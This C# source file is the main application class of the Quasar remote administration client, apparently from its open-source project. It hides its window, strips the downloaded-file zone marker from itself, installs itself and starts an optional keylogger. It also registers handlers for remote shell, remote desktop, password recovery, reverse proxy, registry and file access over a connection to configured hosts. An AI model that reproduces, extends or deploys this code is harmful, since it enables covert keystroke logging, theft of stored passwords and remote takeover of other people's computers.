using Quasar.Client.Config; using Quasar.Client.Logging; using Quasar.Client.Messages; using Quasar.Client.Networking; using Quasar.Client.Setup; using Quasar.Client.User; using Quasar.Client.Utilities; using Quasar.Common.DNS; using Quasar.Common.Helpers; using Quasar.Common.Messages; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.Reflection; using System.Threading; using System.Windows.Forms; namespace Quasar.Client { /// /// The client application which handles basic bootstrapping of the message processors and background tasks. /// public class QuasarApplication : Form { /// /// A system-wide mutex that ensures that only one instance runs at a time. /// public SingleInstanceMutex ApplicationMutex; /// /// The client used for the connection to the server. /// private QuasarClient _connectClient; /// /// List of to keep track of all used message processors. /// private readonly List _messageProcessors; /// /// The background keylogger service used to capture and store keystrokes. /// private KeyloggerService _keyloggerService; /// /// Keeps track of the user activity. /// private ActivityDetection _userActivityDetection; /// /// Determines whether an installation is required depending on the current and target paths. /// private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; /// /// Notification icon used to show notifications in the taskbar. /// private readonly NotifyIcon _notifyIcon; /// /// Initializes a new instance of the class. /// public QuasarApplication() { _messageProcessors = new List(); _notifyIcon = new NotifyIcon(); } /// /// Starts the application. /// /// An System.EventArgs that contains the event data. protected override void OnLoad(EventArgs e) { Visible = false; ShowInTaskbar = false; Run(); base.OnLoad(e); } /// /// Initializes the notification icon. /// private void InitializeNotifyicon() { _notifyIcon.Text = "Quasar Client\nNo connection"; _notifyIcon.Visible = true; try { _notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location); } catch (Exception ex) { Debug.WriteLine(ex); _notifyIcon.Icon = SystemIcons.Application; } } /// /// Begins running the application. /// public void Run() { // decrypt and verify the settings if (!Settings.Initialize()) Environment.Exit(1); ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // check if process with same mutex is already running on system if (!ApplicationMutex.CreatedNew) Environment.Exit(2); FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); var installer = new ClientInstaller(); if (IsInstallationRequired) { // close mutex before installing the client ApplicationMutex.Dispose(); try { installer.Install(); Environment.Exit(3); } catch (Exception e) { Debug.WriteLine(e); } } else { try { // (re)apply settings and proceed with connect loop installer.ApplySettings(); } catch (Exception e) { Debug.WriteLine(e); } if (!Settings.UNATTENDEDMODE) InitializeNotifyicon(); if (Settings.ENABLELOGGER) { _keyloggerService = new KeyloggerService(); _keyloggerService.Start(); } var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); _connectClient.ClientState += ConnectClientOnClientState; InitializeMessageProcessors(_connectClient); _userActivityDetection = new ActivityDetection(_connectClient); _userActivityDetection.Start(); new Thread(() => { // Start connection loop on new thread and dispose application once client exits. // This is required to keep the UI thread responsive and run the message loop. _connectClient.ConnectLoop(); Environment.Exit(0); }).Start(); } } private void ConnectClientOnClientState(Networking.Client s, bool connected) { if (connected) _notifyIcon.Text = "Quasar Client\nConnection established"; else _notifyIcon.Text = "Quasar Client\nNo connection"; } /// /// Adds all message processors to and registers them in the . /// /// The client which handles the connection. /// Always initialize from UI thread. private void InitializeMessageProcessors(QuasarClient client) { _messageProcessors.Add(new ClientServicesHandler(this, client)); _messageProcessors.Add(new FileManagerHandler(client)); _messageProcessors.Add(new KeyloggerHandler()); _messageProcessors.Add(new MessageBoxHandler()); _messageProcessors.Add(new PasswordRecoveryHandler()); _messageProcessors.Add(new RegistryHandler()); _messageProcessors.Add(new RemoteDesktopHandler()); _messageProcessors.Add(new RemoteShellHandler(client)); _messageProcessors.Add(new ReverseProxyHandler(client)); _messageProcessors.Add(new ShutdownHandler()); _messageProcessors.Add(new StartupManagerHandler()); _messageProcessors.Add(new SystemInformationHandler()); _messageProcessors.Add(new TaskManagerHandler(client)); _messageProcessors.Add(new TcpConnectionsHandler()); _messageProcessors.Add(new WebsiteVisitorHandler()); foreach (var msgProc in _messageProcessors) { MessageHandler.Register(msgProc); if (msgProc is NotificationMessageProcessor notifyMsgProc) notifyMsgProc.ProgressChanged += ShowNotification; } } /// /// Disposes all message processors of and unregisters them from the . /// private void CleanupMessageProcessors() { foreach (var msgProc in _messageProcessors) { MessageHandler.Unregister(msgProc); if (msgProc is NotificationMessageProcessor notifyMsgProc) notifyMsgProc.ProgressChanged -= ShowNotification; if (msgProc is IDisposable disposableMsgProc) disposableMsgProc.Dispose(); } } private void ShowNotification(object sender, string value) { if (Settings.UNATTENDEDMODE) return; _notifyIcon.ShowBalloonTip(4000, "Quasar Client", value, ToolTipIcon.Info); } protected override void Dispose(bool disposing) { if (disposing) { CleanupMessageProcessors(); _keyloggerService?.Dispose(); _userActivityDetection?.Dispose(); ApplicationMutex?.Dispose(); _connectClient?.Dispose(); _notifyIcon.Visible = false; _notifyIcon.Dispose(); } base.Dispose(disposing); } } }